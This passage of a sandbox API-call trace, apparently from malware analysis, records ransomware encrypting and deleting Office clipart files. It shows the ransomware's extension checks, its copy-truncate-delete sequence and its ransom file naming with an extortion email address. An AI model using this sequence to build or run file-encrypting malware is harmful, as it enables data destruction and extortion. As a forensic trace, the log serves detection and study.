office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0238.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.056] lstrlenW (lpString=".doc") returned 4 [0238.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.056] lstrlenW (lpString=".docx") returned 5 [0238.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.056] lstrlenW (lpString=".pdf") returned 4 [0238.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.056] lstrlenW (lpString=".xls") returned 4 [0238.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.056] lstrlenW (lpString=".xlsx") returned 5 [0238.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.056] lstrlenW (lpString=".ppt") returned 4 [0238.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.056] lstrlenW (lpString=".zip") returned 4 [0238.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.056] lstrlenW (lpString=".rar") returned 4 [0238.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.056] lstrlenW (lpString=".bz2") returned 4 [0238.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.056] lstrlenW (lpString=".7z") returned 3 [0238.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.056] lstrlenW (lpString=".dbf") returned 4 [0238.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.056] lstrlenW (lpString=".1cd") returned 4 [0238.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.057] lstrlenW (lpString=".jpg") returned 4 [0238.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.057] lstrlenW (lpString=".doc") returned 4 [0238.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.057] lstrlenW (lpString=".docx") returned 5 [0238.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.057] lstrlenW (lpString=".pdf") returned 4 [0238.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.057] lstrlenW (lpString=".xls") returned 4 [0238.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.057] lstrlenW (lpString=".xlsx") returned 5 [0238.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.057] lstrlenW (lpString=".ppt") returned 4 [0238.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.057] lstrlenW (lpString=".zip") returned 4 [0238.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.057] lstrlenW (lpString=".rar") returned 4 [0238.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.057] lstrlenW (lpString=".bz2") returned 4 [0238.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.057] lstrlenW (lpString=".7z") returned 3 [0238.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.057] lstrlenW (lpString=".dbf") returned 4 [0238.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.058] lstrlenW (lpString=".1cd") returned 4 [0238.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0238.058] lstrlenW (lpString=".jpg") returned 4 [0238.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.058] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.058] lstrlenW (lpString="BS00438_.WMF") returned 12 [0238.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.063] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1212) returned 1 [0238.063] CloseHandle (hObject=0x3bc) returned 1 [0238.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0238.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.064] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.064] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0238.065] GetLastError () returned 0x0 [0238.065] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0238.069] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0238.070] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.070] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.070] SetEndOfFile (hFile=0x4c8) returned 1 [0238.070] CloseHandle (hObject=0x4c8) returned 1 [0238.071] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.071] SetEndOfFile (hFile=0x3bc) returned 1 [0238.073] CloseHandle (hObject=0x3bc) returned 1 [0238.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0238.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.075] lstrlenW (lpString=".doc") returned 4 [0238.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.075] lstrlenW (lpString=".docx") returned 5 [0238.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.075] lstrlenW (lpString=".pdf") returned 4 [0238.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.075] lstrlenW (lpString=".xls") returned 4 [0238.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.075] lstrlenW (lpString=".xlsx") returned 5 [0238.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.075] lstrlenW (lpString=".ppt") returned 4 [0238.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.075] lstrlenW (lpString=".zip") returned 4 [0238.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.075] lstrlenW (lpString=".rar") returned 4 [0238.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.080] lstrlenW (lpString=".bz2") returned 4 [0238.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.080] lstrlenW (lpString=".7z") returned 3 [0238.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.080] lstrlenW (lpString=".dbf") returned 4 [0238.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.080] lstrlenW (lpString=".1cd") returned 4 [0238.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.080] lstrlenW (lpString=".jpg") returned 4 [0238.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.080] lstrlenW (lpString=".doc") returned 4 [0238.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.080] lstrlenW (lpString=".docx") returned 5 [0238.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.080] lstrlenW (lpString=".pdf") returned 4 [0238.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.080] lstrlenW (lpString=".xls") returned 4 [0238.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.080] lstrlenW (lpString=".xlsx") returned 5 [0238.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.080] lstrlenW (lpString=".ppt") returned 4 [0238.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.081] lstrlenW (lpString=".zip") returned 4 [0238.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.081] lstrlenW (lpString=".rar") returned 4 [0238.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.081] lstrlenW (lpString=".bz2") returned 4 [0238.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.081] lstrlenW (lpString=".7z") returned 3 [0238.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.081] lstrlenW (lpString=".dbf") returned 4 [0238.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.081] lstrlenW (lpString=".1cd") returned 4 [0238.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0238.081] lstrlenW (lpString=".jpg") returned 4 [0238.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.081] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.081] lstrlenW (lpString="BS00439_.WMF") returned 12 [0238.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.083] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2052) returned 1 [0238.083] CloseHandle (hObject=0x3bc) returned 1 [0238.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0238.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.084] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.084] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0238.085] GetLastError () returned 0x0 [0238.085] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x804, lpOverlapped=0x0) returned 1 [0238.397] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x810, lpOverlapped=0x0) returned 1 [0238.568] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.568] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.568] SetEndOfFile (hFile=0x4c8) returned 1 [0238.568] CloseHandle (hObject=0x4c8) returned 1 [0238.568] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.568] SetEndOfFile (hFile=0x3bc) returned 1 [0238.572] CloseHandle (hObject=0x3bc) returned 1 [0238.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0238.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.575] lstrlenW (lpString=".doc") returned 4 [0238.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.576] lstrlenW (lpString=".docx") returned 5 [0238.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.576] lstrlenW (lpString=".pdf") returned 4 [0238.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.576] lstrlenW (lpString=".xls") returned 4 [0238.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.576] lstrlenW (lpString=".xlsx") returned 5 [0238.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.576] lstrlenW (lpString=".ppt") returned 4 [0238.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.576] lstrlenW (lpString=".zip") returned 4 [0238.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.576] lstrlenW (lpString=".rar") returned 4 [0238.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.576] lstrlenW (lpString=".bz2") returned 4 [0238.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.576] lstrlenW (lpString=".7z") returned 3 [0238.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.576] lstrlenW (lpString=".dbf") returned 4 [0238.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.576] lstrlenW (lpString=".1cd") returned 4 [0238.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.576] lstrlenW (lpString=".jpg") returned 4 [0238.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.577] lstrlenW (lpString=".doc") returned 4 [0238.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString=".docx") returned 5 [0238.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0238.577] lstrlenW (lpString=".pdf") returned 4 [0238.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString=".xls") returned 4 [0238.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.577] lstrlenW (lpString=".xlsx") returned 5 [0238.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0238.577] lstrlenW (lpString=".ppt") returned 4 [0238.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.577] lstrlenW (lpString=".zip") returned 4 [0238.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.577] lstrlenW (lpString=".rar") returned 4 [0238.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString=".bz2") returned 4 [0238.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString=".7z") returned 3 [0238.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.577] lstrlenW (lpString=".dbf") returned 4 [0238.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.577] lstrlenW (lpString=".1cd") returned 4 [0238.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0238.578] lstrlenW (lpString=".jpg") returned 4 [0238.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.578] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0238.578] lstrlenW (lpString="BS00442_.WMF") returned 12 [0238.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.579] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2488) returned 1 [0238.579] CloseHandle (hObject=0x3bc) returned 1 [0238.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0238.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0238.579] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.579] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0238.580] GetLastError () returned 0x0 [0238.580] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0238.584] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0238.585] ReadFile (in: hFile=0x3bc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.585] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.585] SetEndOfFile (hFile=0x4c8) returned 1 [0238.585] CloseHandle (hObject=0x4c8) returned 1 [0238.586] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.586] SetEndOfFile (hFile=0x3bc) returned 1 [0238.589] CloseHandle (hObject=0x3bc) returned 1 [0238.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0238.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0238.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0238.590] lstrlenW (lpString=".doc") returned 4 [0238.590] lstrcmpiW 